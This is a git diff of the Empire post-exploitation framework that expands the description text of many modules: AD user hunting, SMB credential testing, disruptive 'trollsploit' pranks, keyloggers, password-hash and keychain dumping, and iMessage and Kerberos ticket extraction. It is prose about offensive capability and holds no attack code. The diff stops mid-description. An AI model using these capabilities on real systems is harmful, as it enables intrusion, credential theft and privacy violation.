Additionally, the module can verify share accessibility to ensure discovered + resources are actually accessible to the current user context. This information + is crucial for lateral movement planning, data collection operations, and understanding + the overall network infrastructure and data flow patterns. software: S0194 tactics: [TA0007] techniques: [T1135] diff --git a/empire/server/modules/powershell/situational_awareness/network/powerview/user_hunter.yaml b/empire/server/modules/powershell/situational_awareness/network/powerview/user_hunter.yaml index 0259e7615..9b5e8cd55 100644 --- a/empire/server/modules/powershell/situational_awareness/network/powerview/user_hunter.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/powerview/user_hunter.yaml @@ -3,8 +3,28 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Finds which machines users of a specified group are logged into. Part - of PowerView. +description: | + A sophisticated Active Directory reconnaissance module that identifies + which machines specific users or user groups are currently logged + into across the domain. This module is part of the PowerView toolkit + and provides critical intelligence for user hunting and lateral + movement planning. + + The module can target specific users, user groups, or use LDAP + filters to identify target users based on various criteria such + as administrative privileges, delegation settings, or group + memberships. It then enumerates active sessions across domain + computers to locate where these users are currently logged in, + providing real-time intelligence about user activity. + + This technique is particularly effective for identifying high-value + targets and understanding user behavior patterns. The module includes + stealth options to minimize detection, threading capabilities for + efficient enumeration, and access checking to identify systems + where the current user has administrative privileges. This gathered + intelligence is essential for planning targeted attacks, lateral + movement strategies, and understanding the overall user landscape + within the Active Directory environment. software: S0194 tactics: [TA0007] techniques: [T1482, T1069.002, T1615, T1018] diff --git a/empire/server/modules/powershell/situational_awareness/network/reverse_dns.yaml b/empire/server/modules/powershell/situational_awareness/network/reverse_dns.yaml index 51a16558c..8f7f8609a 100644 --- a/empire/server/modules/powershell/situational_awareness/network/reverse_dns.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/reverse_dns.yaml @@ -1,9 +1,29 @@ +# Needs Revisions name: Invoke-ReverseDNSLookup authors: - name: DarkOperator handle: '' link: '' -description: Performs a DNS Reverse Lookup of a given IPv4 IP Range. +description: | + A network reconnaissance module that performs reverse DNS lookups + across specified IPv4 address ranges. This module queries DNS + servers to resolve IP addresses back to hostnames, providing + valuable information about network infrastructure and potential + target systems. + + The module can process individual IP addresses, IP ranges, or + CIDR notation blocks to systematically map network hostnames. + This technique is particularly useful for identifying servers, + workstations, and network devices that may not be immediately + apparent through other discovery methods. + + Reverse DNS lookups can reveal internal naming conventions, + identify specific services or applications, and provide insight + into network architecture and organization. This information + is essential for understanding the target environment and + planning subsequent reconnaissance activities. The module + includes error handling and output formatting options for + integration with other security assessment tools. software: '' tactics: [TA0007] techniques: [T1046, T1590.005] diff --git a/empire/server/modules/powershell/situational_awareness/network/sharphound.yaml b/empire/server/modules/powershell/situational_awareness/network/sharphound.yaml index e1442b47b..9aadfe9cd 100644 --- a/empire/server/modules/powershell/situational_awareness/network/sharphound.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/sharphound.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Sharphound (CE) authors: - name: Anthony Rose diff --git a/empire/server/modules/powershell/situational_awareness/network/smbautobrute.yaml b/empire/server/modules/powershell/situational_awareness/network/smbautobrute.yaml index e51cdbcf9..9b5a556db 100644 --- a/empire/server/modules/powershell/situational_awareness/network/smbautobrute.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/smbautobrute.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Invoke-SMBAutoBrute authors: - name: '' diff --git a/empire/server/modules/powershell/situational_awareness/network/smblogin.yaml b/empire/server/modules/powershell/situational_awareness/network/smblogin.yaml index ceb6c6a47..665a8aaf5 100644 --- a/empire/server/modules/powershell/situational_awareness/network/smblogin.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/smblogin.yaml @@ -1,10 +1,29 @@ +# Needs Revisions name: Invoke-SMBLogin authors: - name: Mauricio Velazco (@mvelazco) handle: '' link: '' -description: Validates username & password combination(s) across a host or group - of hosts using the SMB protocol. +description: | + A network reconnaissance module that validates username and password + combinations against target systems using the SMB protocol. This + module performs authentication testing to identify valid credentials + that can be used for network access and lateral movement. + + The module supports testing against individual hosts or multiple + target systems simultaneously. It can validate both local and + domain account credentials, making it effective for discovering + weak authentication across Windows environments. The module + includes support for credential lists and can use stored + credentials from the Empire credential store. + + This technique is particularly useful for identifying shared + credentials, default passwords, and weak authentication that + could provide unauthorized access to network resources. Successful + credential validation can enable file share access, remote + administration, and other SMB-based activities. The module + provides detailed output of authentication results for further + analysis and planning of subsequent operations. software: '' tactics: [TA0008] techniques: [T1012.002] diff --git a/empire/server/modules/powershell/situational_awareness/network/smbscanner.yaml b/empire/server/modules/powershell/situational_awareness/network/smbscanner.yaml index 44f4fbaab..40bd6bbdb 100644 --- a/empire/server/modules/powershell/situational_awareness/network/smbscanner.yaml +++ b/empire/server/modules/powershell/situational_awareness/network/smbscanner.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Invoke-SMBScanner authors: - name: '' @@ -9,7 +10,27 @@ authors: - name: '' handle: '@kevin' link: '' -description: Tests usernames/password combination across a number of machines. +description: | + A network reconnaissance module that performs SMB credential testing + across multiple target systems. This module tests username and + password combinations against Windows systems to identify valid + credentials that can be used for lateral movement and privilege + escalation. + + The module can target specific computers or automatically enumerate + domain machines for credential testing. It supports both local and + domain authentication, making it effective for identifying weak + credentials across the network environment. The module includes + options for ping-based host discovery and can use stored credentials + from the Empire credential store. + + This technique is particularly effective for discovering shared + credentials, default passwords, and weak authentication across + network systems. Successful credential identification can provide + immediate access to additional systems and facilitate lateral + movement within the target environment. The module is based on + research from @obscuresec and provides a systematic approach to + network credential harvesting. software: '' tactics: [TA0008] techniques: [T1135, T1187, T1021.002] diff --git a/empire/server/modules/powershell/trollsploit/get_schwifty.yaml b/empire/server/modules/powershell/trollsploit/get_schwifty.yaml index b814140b4..f619a4b96 100644 --- a/empire/server/modules/powershell/trollsploit/get_schwifty.yaml +++ b/empire/server/modules/powershell/trollsploit/get_schwifty.yaml @@ -1,10 +1,20 @@ +# Needs Revisions name: Get-Schwifty authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: | - Play's a hidden version of Rick and Morty Get Schwifty video while maxing out a computer's volume. +description: Launches a hidden browser session on the target system to play the "Get + Schwifty" video from Rick and Morty at maximum volume, creating a disruptive and + humorous audio-visual prank. This module leverages PowerShell to manipulate system + volume settings and control a hidden Internet Explorer instance, ensuring the video + plays loudly and unexpectedly. Operators can optionally specify a different YouTube + video URL for custom pranks. The technique is intended for psychological operations, + red team morale-boosting, or lighthearted demonstrations, and is non-destructive + in nature. The sudden loud music and hidden playback can startle or amuse users, + making it effective for attention-grabbing or stress-testing user awareness. No + administrative privileges are required, and the prank is harmless, leaving no persistent + changes on the system. Use responsibly and with consideration for the target audience. software: tactics: [TA0040] techniques: [T1491.001] diff --git a/empire/server/modules/powershell/trollsploit/invoke_bsod.yaml b/empire/server/modules/powershell/trollsploit/invoke_bsod.yaml index 3dcfeb596..5900d6033 100644 --- a/empire/server/modules/powershell/trollsploit/invoke_bsod.yaml +++ b/empire/server/modules/powershell/trollsploit/invoke_bsod.yaml @@ -1,10 +1,20 @@ +# Needs Revisions name: Invoke-BSOD authors: - name: 'Barrett Adams' handle: '@peewpw' link: 'https://x.com/peewpw' -description: A PowerShell script to induce a Blue Screen of Death (BSOD) without - admin privileges. Also enumerates Windows crash dump settings. +description: Forces the target Windows system to immediately crash and display a + Blue Screen of Death (BSOD), simulating a critical system failure as a prank or + disruptive action. This module leverages PowerShell techniques to trigger a system + crash without requiring administrative privileges, making it effective even in + restricted environments. In addition to inducing a BSOD, the module enumerates + the system's crash dump settings to provide insight into post-crash forensic capabilities. + This tool is intended for psychological operations, red team demonstrations, or + humorous scenarios where a dramatic system interruption is desired. Operators should + be aware that forcibly crashing a system can result in data loss, user disruption, + and potential forensic artifacts. Use with caution and only in controlled environments + or with explicit authorization. software: '' tactics: [TA0040] techniques: [T1499] diff --git a/empire/server/modules/powershell/trollsploit/message.yaml b/empire/server/modules/powershell/trollsploit/message.yaml index 181a79476..38e33e946 100644 --- a/empire/server/modules/powershell/trollsploit/message.yaml +++ b/empire/server/modules/powershell/trollsploit/message.yaml @@ -1,9 +1,20 @@ +# Needs Revisions name: Invoke-Message authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Displays a specified message to the user. +description: Displays a custom pop-up message box on the target user's desktop, simulating + system alerts, error messages, or other notifications for psychological manipulation + or humorous effect. This module leverages PowerShell to invoke a Windows message + box with customizable text, icon type, and title, allowing operators to craft convincing + or disruptive messages. The technique is useful for red team operations, social + engineering demonstrations, or pranks, and can be used to induce confusion, prompt + user action, or simply amuse. The message box appears as a legitimate system dialog, + increasing its believability and potential impact. Operators should use this module + responsibly, as repeated or alarming messages may disrupt user productivity or + cause unnecessary concern. No administrative privileges are required, making it + effective in a wide range of environments. software: '' tactics: [TA0040] techniques: [T1491.001] diff --git a/empire/server/modules/powershell/trollsploit/process_killer.yaml b/empire/server/modules/powershell/trollsploit/process_killer.yaml index 0e017b940..4a73f6e24 100644 --- a/empire/server/modules/powershell/trollsploit/process_killer.yaml +++ b/empire/server/modules/powershell/trollsploit/process_killer.yaml @@ -3,7 +3,18 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Kills any process starting with a particular name. +description: Continuously monitors the target system for processes matching a specified + name and immediately terminates them upon detection, effectively preventing targeted + applications from running. This module leverages PowerShell to watch for process + creation events and forcefully kills any process whose name matches the provided + pattern, supporting wildcards for broad targeting. The technique is useful for + pranks, psychological operations, or disruptive demonstrations, as it can frustrate + users by making specific programs impossible to launch. Operators can use this + module to block games, productivity tools, or any application of interest, with + optional silent operation to avoid alerting the user. No administrative privileges + are required, making it effective in a wide range of environments. Use responsibly, + as repeated process termination can disrupt user productivity and may result in + data loss if critical applications are targeted. software: '' tactics: [TA0040] techniques: [T1489] diff --git a/empire/server/modules/powershell/trollsploit/rick_ascii.yaml b/empire/server/modules/powershell/trollsploit/rick_ascii.yaml index 3253efae3..d628b333e 100644 --- a/empire/server/modules/powershell/trollsploit/rick_ascii.yaml +++ b/empire/server/modules/powershell/trollsploit/rick_ascii.yaml @@ -6,8 +6,16 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Spawns a a new powershell.exe process that runs Lee Holmes' ASCII Rick - Roll. +description: Launches a new PowerShell process on the target system that displays + an animated ASCII art rendition of Rick Astley, effectively delivering a classic + "Rickroll" prank in text mode. This module leverages a PowerShell-encoded command + to spawn a maximized console window and play the ASCII animation, surprising and + amusing the user. The technique is intended for humorous psychological operations, + red team morale-boosting, or lighthearted demonstrations, and is non-destructive + in nature. The prank is instantly recognizable and can be used to inject levity + into engagements or to test user awareness. No administrative privileges are required, + and the prank is harmless, leaving no persistent changes on the system. Use responsibly + and with consideration for the target audience. software: '' tactics: [TA0040] techniques: [T1491.001] diff --git a/empire/server/modules/powershell/trollsploit/rick_astley.yaml b/empire/server/modules/powershell/trollsploit/rick_astley.yaml index e0319e9e4..aea04500c 100644 --- a/empire/server/modules/powershell/trollsploit/rick_astley.yaml +++ b/empire/server/modules/powershell/trollsploit/rick_astley.yaml @@ -1,3 +1,4 @@ +# Needs Revisions name: Get-RickAstley authors: - name: '' @@ -6,7 +7,16 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Runs @SadProcessor's beeping rickroll. +description: Executes a PowerShell-based prank that plays the melody of Rick Astley's + "Never Gonna Give You Up" using the system speaker, delivering an audible "Rickroll" + to the target user. This module leverages a script that generates a sequence of + beeps corresponding to the song's notes, surprising and amusing the user with a + recognizable tune. The technique is intended for humorous psychological operations, + red team morale-boosting, or lighthearted demonstrations, and is non-destructive + in nature. The prank is instantly recognizable and can be used to inject levity + into engagements or to test user awareness. No administrative privileges are required, + and the prank is harmless, leaving no persistent changes on the system. Use responsibly + and with consideration for the target audience. software: '' tactics: [TA0040] techniques: [T1491.001] diff --git a/empire/server/modules/powershell/trollsploit/thunderstruck.yaml b/empire/server/modules/powershell/trollsploit/thunderstruck.yaml index d6ac59b3d..76d6cb1bb 100644 --- a/empire/server/modules/powershell/trollsploit/thunderstruck.yaml +++ b/empire/server/modules/powershell/trollsploit/thunderstruck.yaml @@ -1,10 +1,20 @@ +# Needs Revisions name: Invoke-Thunderstruck authors: - name: '' handle: '@obscuresec' link: '' -description: Play's a hidden version of AC/DC's Thunderstruck video while maxing - out a computer's volume. +description: Launches a hidden browser session on the target system to play AC/DC's + "Thunderstruck" music video at maximum volume, creating a disruptive and humorous + audio-visual prank. This module leverages PowerShell to manipulate system volume + settings and control a hidden Internet Explorer instance, ensuring the video plays + loudly and unexpectedly. Operators can optionally specify a different YouTube video + URL for custom pranks. The technique is intended for psychological operations, + red team morale-boosting, or lighthearted demonstrations, and is non-destructive + in nature. The sudden loud music and hidden playback can startle or amuse users, + making it effective for attention-grabbing or stress-testing user awareness. No + administrative privileges are required, and the prank is harmless, leaving no persistent + changes on the system. Use responsibly and with consideration for the target audience. software: '' tactics: [TA0040] techniques: [T1491.001] diff --git a/empire/server/modules/powershell/trollsploit/voicetroll.yaml b/empire/server/modules/powershell/trollsploit/voicetroll.yaml index b8202245a..425964c48 100644 --- a/empire/server/modules/powershell/trollsploit/voicetroll.yaml +++ b/empire/server/modules/powershell/trollsploit/voicetroll.yaml @@ -1,9 +1,19 @@ +# Needs Revisions name: Invoke-VoiceTroll authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: Reads text aloud via synthesized voice on target. +description: Uses the Windows speech synthesis engine to read aloud custom text on + the target system, surprising or amusing the user with unexpected spoken messages. + This module leverages PowerShell to invoke the built-in text-to-speech functionality, + allowing operators to deliver any message in a synthesized voice. The technique + is intended for psychological operations, red team morale-boosting, or lighthearted + pranks, and is non-destructive in nature. Spoken messages can be used to startle, + inform, or entertain users, and the effect is immediate and attention-grabbing. + No administrative privileges are required, and the prank is harmless, leaving no + persistent changes on the system. Use responsibly and with consideration for the + target audience. software: '' tactics: [TA0040] techniques: [T1491.001] diff --git a/empire/server/modules/powershell/trollsploit/wallpaper.yaml b/empire/server/modules/powershell/trollsploit/wallpaper.yaml index 87c38db2a..98e936055 100644 --- a/empire/server/modules/powershell/trollsploit/wallpaper.yaml +++ b/empire/server/modules/powershell/trollsploit/wallpaper.yaml @@ -1,9 +1,19 @@ +# Needs Revisions name: Set-Wallpaper authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Uploads a .jpg image to the target and sets it as the desktop wallpaper. +description: Uploads a specified image to the target system and sets it as the desktop + wallpaper, visually altering the user's environment for humorous, disruptive, or + psychological effect. This module leverages PowerShell to transfer a .jpg image, + save it locally, and use Windows API calls to change the desktop background, supporting + various wallpaper styles. The technique is intended for pranks, red team morale-boosting, + or psychological operations, and is non-destructive in nature. Changing the wallpaper + can surprise, amuse, or confuse users, and is a classic method for demonstrating + access or delivering a visual message. No administrative privileges are required, + and the prank is harmless, leaving no persistent changes beyond the wallpaper modification. + Use responsibly and with consideration for the target audience. software: '' tactics: [TA0040] techniques: [T1491.001] diff --git a/empire/server/modules/powershell/trollsploit/wlmdr.yaml b/empire/server/modules/powershell/trollsploit/wlmdr.yaml index f2792b5b5..8c2e17b9f 100644 --- a/empire/server/modules/powershell/trollsploit/wlmdr.yaml +++ b/empire/server/modules/powershell/trollsploit/wlmdr.yaml @@ -1,9 +1,19 @@ +# Needs Revisions name: Invoke-WLMDR authors: - name: '' handle: '@benichmt1' link: '' -description: Displays a balloon reminder in the taskbar. +description: Displays a custom balloon notification in the Windows taskbar, simulating + system reminders, warnings, or alerts for psychological manipulation, pranks, or + user disruption. This module leverages PowerShell to invoke the wlrmdr.exe utility, + allowing operators to specify the message text, icon type, and title for the notification. + The technique is intended for humorous demonstrations, red team morale-boosting, + or psychological operations, and is non-destructive in nature. Balloon notifications + can be used to startle, inform, or amuse users, and the effect is immediate and + attention-grabbing. No administrative privileges are required, and the prank is + harmless, leaving no persistent changes on the system. Use responsibly and with + consideration for the target audience. software: '' tactics: [TA0040] techniques: [T1491] diff --git a/empire/server/modules/powershell_template.yaml b/empire/server/modules/powershell_template.yaml index 79c924b7d..40e8afde2 100644 --- a/empire/server/modules/powershell_template.yaml +++ b/empire/server/modules/powershell_template.yaml @@ -2,6 +2,7 @@ # powershell/lateral_movement/Invoke-Template name: Invoke-Template # The authors responsible for the original code and/or writing the Empire module for it. + authors: - name: Author 1 handle: '@author1' @@ -9,27 +10,35 @@ authors: description: | A description of what the module does and how it works. # Software and tools that from the MITRE ATT&CK framework (https://attack.mitre.org/software/) + software: # Techniques that from the MITRE ATT&CK framework (https://attack.mitre.org/techniques/enterprise/) techniques: - T1141 - T1514 # True if the module needs to run in the background + background: false # File extension to save the file as + output_extension: # True if the module needs admin rights to run needs_admin: false # True if the method doesn't touch disk/is reasonably opsec safe + opsec_safe: false # The language for this module. Currently, only powershell and python are valid. + language: powershell # The minimum PowerShell or Python version needed for the module to run + min_language_version: '2' # List of any references/other comments + comments: - 'http://github.com/bc-security/empire' # Any options needed by the module, settable during runtime + options: # The 'Agent' option is the only one that MUST be in a module - name: Agent @@ -41,6 +50,7 @@ options: required: true value: '' # For many modules - inlining the script will be just fine. + # If the code can be used by multiple modules, or it is very large. # the script_path field can be used instead. Examples of this are in the wiki. script: | diff --git a/empire/server/modules/python/code_execution/invoke_script.yaml b/empire/server/modules/python/code_execution/invoke_script.yaml index 955fd241f..ec0fa7951 100644 --- a/empire/server/modules/python/code_execution/invoke_script.yaml +++ b/empire/server/modules/python/code_execution/invoke_script.yaml @@ -3,8 +3,12 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Load and execute a Python script from either a URL or base64 string, - and optionally run a function within the script with parameters. +description: | + Dynamically loads and executes Python scripts from remote URLs or base64-encoded strings + to enable flexible code execution capabilities. Supports both direct script execution + and function calls with parameters within loaded scripts. This module provides a + powerful mechanism for executing custom Python payloads without requiring persistent + file storage on the target system. software: S0194 tactics: - TA0002 diff --git a/empire/server/modules/python/code_execution/powershell_execution.yaml b/empire/server/modules/python/code_execution/powershell_execution.yaml index 12945bb5a..716e5f88b 100644 --- a/empire/server/modules/python/code_execution/powershell_execution.yaml +++ b/empire/server/modules/python/code_execution/powershell_execution.yaml @@ -3,7 +3,14 @@ authors: - name: Anthony Rose handle: '@Cx01N' link: https://twitter.com/Cx01N_ -description: Executes Powershell code from a Python code. +description: | + Executes PowerShell commands and scripts on Windows systems through IronPython's + .NET integration capabilities. Leverages the System.Management.Automation + namespace to create PowerShell runspaces and execute commands directly within + the Python environment. This module provides seamless integration between + Python and PowerShell execution contexts, enabling the use of PowerShell + security tools, system administration commands, and Windows-specific + reconnaissance techniques. software: '' tactics: - TA0002 diff --git a/empire/server/modules/python/collection/linux/hashdump.yaml b/empire/server/modules/python/collection/linux/hashdump.yaml index b886ee040..ed834d325 100644 --- a/empire/server/modules/python/collection/linux/hashdump.yaml +++ b/empire/server/modules/python/collection/linux/hashdump.yaml @@ -3,7 +3,16 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Extracts the /etc/passwd and /etc/shadow, unshadowing the result. +description: | + Extracts and combines user account information from /etc/passwd and + /etc/shadow files to create unshadowed password hashes. Reads both + system files, parses the colon-delimited fields, and merges the + data to produce a format compatible with password cracking tools. + Requires root privileges to access the protected /etc/shadow file. + Provides comprehensive user account enumeration including usernames, + password hashes, user IDs, group IDs, and account information. + Useful for credential harvesting, password analysis, and user + enumeration on Linux systems. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/linux/keylogger.yaml b/empire/server/modules/python/collection/linux/keylogger.yaml index 9b751c9f9..4453b2ef7 100644 --- a/empire/server/modules/python/collection/linux/keylogger.yaml +++ b/empire/server/modules/python/collection/linux/keylogger.yaml @@ -1,4 +1,4 @@ -name: Webcam +name: Keylogger authors: - name: joev handle: '' @@ -6,9 +6,16 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Logs keystrokes to the specified file. Ruby based and heavily adapted - from MSF's osx/capture/keylog_recorder. Kill the resulting PID when keylogging - is finished and download the specified LogFile. +description: | + Captures and logs keystrokes from the Linux system using a Ruby-based + keylogger that leverages the Carbon framework. Monitors keyboard input + across all active applications and records keystrokes with application + context and timestamps. The module spawns a background Ruby process that + continuously captures keyboard events, including special keys and modifiers. + Keylogged data is written to a specified log file for later retrieval. + Provides comprehensive user input monitoring for credential harvesting, + password capture, and user behavior analysis. Requires manual termination + of the Ruby process when keylogging is complete. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/linux/mimipenguin.yaml b/empire/server/modules/python/collection/linux/mimipenguin.yaml index c1d31ac56..7e253d4c9 100644 --- a/empire/server/modules/python/collection/linux/mimipenguin.yaml +++ b/empire/server/modules/python/collection/linux/mimipenguin.yaml @@ -3,8 +3,15 @@ authors: - name: '' handle: '@rvrsh3ll' link: '' -description: Port of huntergregal mimipenguin. Harvest's current user's cleartext - credentials. +description: | + Extracts cleartext passwords from memory on Linux systems by + scanning process memory for authentication data. Leverages + techniques similar to the original MimiPenguin tool to locate + and extract plaintext credentials stored in memory by various + applications and services. Requires root privileges to access + process memory and scan for sensitive authentication data. + Useful for credential harvesting, password recovery, and + post-exploitation reconnaissance on Linux systems. software: S0179 tactics: [] techniques: diff --git a/empire/server/modules/python/collection/linux/pillage_user.yaml b/empire/server/modules/python/collection/linux/pillage_user.yaml index 24be6a96e..dfa6d9e9f 100644 --- a/empire/server/modules/python/collection/linux/pillage_user.yaml +++ b/empire/server/modules/python/collection/linux/pillage_user.yaml @@ -3,8 +3,16 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: 'Pillages the current user for their bash_history, ssh known hosts, - recent folders, etc. ' +description: | + Collects sensitive user data including bash history, SSH keys and + configuration files, and other user-specific information. Scans + user home directories for command history, SSH known_hosts files, + private keys, and configuration data. Supports targeting specific + users or all users on the system when run with root privileges. + Downloads files in chunks to avoid detection and includes configurable + sleep intervals between downloads. Useful for credential harvesting, + user behavior analysis, and collecting sensitive configuration + data for lateral movement and persistence. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/linux/sniffer.yaml b/empire/server/modules/python/collection/linux/sniffer.yaml index afc89e3e7..d86a98dd5 100644 --- a/empire/server/modules/python/collection/linux/sniffer.yaml +++ b/empire/server/modules/python/collection/linux/sniffer.yaml @@ -3,8 +3,17 @@ authors: - name: '' handle: '@Killswitch_GUI' link: '' -description: This module will sniff all interfaces on the target, and write in pcap - format. +description: | + Captures network traffic from all interfaces and saves it in PCAP + format for analysis. Uses raw sockets to capture packets at the + link layer and parses Ethernet, IP, TCP, UDP, and ICMP headers. + Supports filtering by IP address and port number to focus on + specific traffic patterns. Configurable options include maximum + file size, packet count limits, and in-memory storage to avoid + disk writes. Generates standard PCAP files compatible with + Wireshark and other network analysis tools. Useful for network + reconnaissance, traffic analysis, and capturing sensitive data + in transit. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/linux/xkeylogger.yaml b/empire/server/modules/python/collection/linux/xkeylogger.yaml index aaa0a4a5e..b1ae50b45 100644 --- a/empire/server/modules/python/collection/linux/xkeylogger.yaml +++ b/empire/server/modules/python/collection/linux/xkeylogger.yaml @@ -1,9 +1,23 @@ -name: Keylog +name: xkeylogger authors: - name: Nikaiw handle: '' link: '' -description: X userland keylogger based on pupy +description: Captures keystrokes from X11 user sessions on Linux systems by leveraging + low-level access to the X Window System, providing real-time keylogging capabilities + without requiring administrative privileges. This module is based on techniques + from the pupy and pykeylogger projects, using Python's ctypes to interface directly + with X11 libraries and monitor keyboard events at the userland level. It supports + detection of active windows, window titles, and context switching, allowing for + contextual logging of user input across different applications. The keylogger is + designed for stealth and persistence in post-exploitation scenarios, enabling operators + to collect sensitive information such as passwords, chat messages, and command-line + activity. While effective on many desktop Linux environments, the module may miss + some keystrokes due to X11 event handling limitations and may occasionally have + issues with agent termination. Operators should be aware of potential detection + by endpoint security tools and the ethical and legal considerations of deploying + keyloggers. This tool is intended for authorized security assessments, red teaming, + or research in controlled environments only. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/browser_dump.yaml b/empire/server/modules/python/collection/osx/browser_dump.yaml index aa97311f9..dabf4fe7d 100644 --- a/empire/server/modules/python/collection/osx/browser_dump.yaml +++ b/empire/server/modules/python/collection/osx/browser_dump.yaml @@ -3,7 +3,17 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will dump browser history from Safari and Chrome. +description: | + Extracts browser history from Safari and Chrome by querying + their respective SQLite database files. Accesses the History.db + file for Safari and the History file for Chrome to retrieve + visited URLs, page titles, visit timestamps, and visit counts. + Supports configurable limits on the number of recent URLs to + return from each browser. Provides web browsing reconnaissance + capabilities for understanding user behavior, visited websites, + and online activities. Useful for intelligence gathering, + user profiling, and identifying potential targets or sensitive + information accessed through web browsers. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/clipboard.yaml b/empire/server/modules/python/collection/osx/clipboard.yaml index 8019de16d..b380ed65a 100644 --- a/empire/server/modules/python/collection/osx/clipboard.yaml +++ b/empire/server/modules/python/collection/osx/clipboard.yaml @@ -3,7 +3,16 @@ authors: - name: '' handle: '@424f424f' link: https://twitter.com/424f424f -description: This module will write log output of clipboard to stdout (or disk). +description: | + Monitors and captures clipboard content from the macOS system + clipboard using the AppKit framework. Leverages NSPasteboard + to access the general pasteboard and retrieve clipboard data + in real-time. Supports configurable monitoring duration and + optional file output for persistent logging. Detects changes + in clipboard content and logs new entries with timestamps. + Provides clipboard reconnaissance capabilities for capturing + sensitive data that users copy and paste, including passwords, + text snippets, and other confidential information. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/hashdump.yaml b/empire/server/modules/python/collection/osx/hashdump.yaml index ad14a86ba..aef9eca0d 100644 --- a/empire/server/modules/python/collection/osx/hashdump.yaml +++ b/empire/server/modules/python/collection/osx/hashdump.yaml @@ -3,7 +3,16 @@ authors: - name: Will Schroeder handle: '@harmj0y' link: https://twitter.com/harmj0y -description: Extracts found user hashes out of /var/db/dslocal/nodes/Default/users/*.plist +description: | + Extracts password hashes from macOS user account plist files stored + in the Directory Services database. Parses the ShadowHashData + property from user plist files to extract PBKDF2 password hashes + with salt and iteration information. Uses the defaults command + to read plist data and converts the binary hash data to a format + compatible with password cracking tools. Requires root privileges + to access the protected Directory Services database. Provides + comprehensive user account enumeration including usernames and + password hashes for all local users on macOS systems. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/imessage_dump.yaml b/empire/server/modules/python/collection/osx/imessage_dump.yaml index a7b355398..f01c52d2b 100644 --- a/empire/server/modules/python/collection/osx/imessage_dump.yaml +++ b/empire/server/modules/python/collection/osx/imessage_dump.yaml @@ -6,7 +6,18 @@ authors: - name: '' handle: '@Killswitch-GUI' link: '' -description: This module will enumerate the entire chat and IMessage SQL Database. +description: | + Extracts and enumerates iMessage conversations from the SQLite + database used by the macOS Messages application. Queries the + chat.db database to retrieve message content, timestamps, + sender information, and conversation metadata. Supports + configurable message limits and optional keyword searching + within message content. Leverages the unencrypted nature of + the local iMessage database to access message history. + Provides comprehensive messaging reconnaissance for intelligence + gathering and communication analysis. Useful for collecting + sensitive conversations, contact information, and understanding + user communication patterns. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/kerberosdump.yaml b/empire/server/modules/python/collection/osx/kerberosdump.yaml index daf3b1912..cb7ddfaa1 100644 --- a/empire/server/modules/python/collection/osx/kerberosdump.yaml +++ b/empire/server/modules/python/collection/osx/kerberosdump.yaml @@ -6,7 +6,16 @@ authors: - name: Benjamin Delpy handle: '@gentilkiwi' link: https://twitter.com/gentilkiwi -description: This module will dump ccache kerberostickets to the specified directory +description: | + Extracts Kerberos ticket cache files (ccache) from active user + sessions on macOS systems. Identifies loginwindow processes to + determine active users and uses launchctl to copy credential + caches for each user to temporary files. Leverages the kcc + utility to export Kerberos tickets in ccache format compatible + with ticket reuse attacks. Lists available ticket files for + collection and analysis. Useful for credential harvesting, + Kerberos reconnaissance, and collecting authentication tickets + for lateral movement in Active Directory environments. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/keychaindump.yaml b/empire/server/modules/python/collection/osx/keychaindump.yaml index 8f982e446..a03eea5b9 100644 --- a/empire/server/modules/python/collection/osx/keychaindump.yaml +++ b/empire/server/modules/python/collection/osx/keychaindump.yaml @@ -1,10 +1,19 @@ -name: Webcam +name: Keychaindump authors: - name: Juuso Salonen handle: '' link: '' -description: Searches for keychain candidates and attempts to decrypt the user's - keychain. +description: | + Extracts and decrypts passwords from the macOS Keychain using a + custom binary that searches for master key candidates in process + memory. Leverages the keychaindump tool to locate and decrypt + stored credentials including passwords, certificates, and keys. + Searches for master key candidates in the securityd process + memory and uses them to decrypt the user's login keychain. + Requires root privileges to access process memory and keychain + data. Provides comprehensive credential extraction including + website passwords, application passwords, and system credentials + stored in the macOS Keychain. software: '' tactics: [] techniques: diff --git a/empire/server/modules/python/collection/osx/keychaindump_chainbreaker.yaml b/empire/server/modules/python/collection/osx/keychaindump_chainbreaker.yaml index 6c0bdbac5..64862b64c 100644 --- a/empire/server/modules/python/collection/osx/keychaindump_chainbreaker.yaml +++ b/empire/server/modules/python/collection/osx/keychaindump_chainbreaker.yaml @@ -6,7 +6,17 @@ authors: - name: '' handle: '@Killswitch-GUI' link: '' -description: A keychain dump module that allows for decryption via known password. +description: | + Decrypts and extracts passwords from macOS Keychain files using + a known user password. Leverages the Chainbreaker tool to parse + and decrypt keychain database structures including 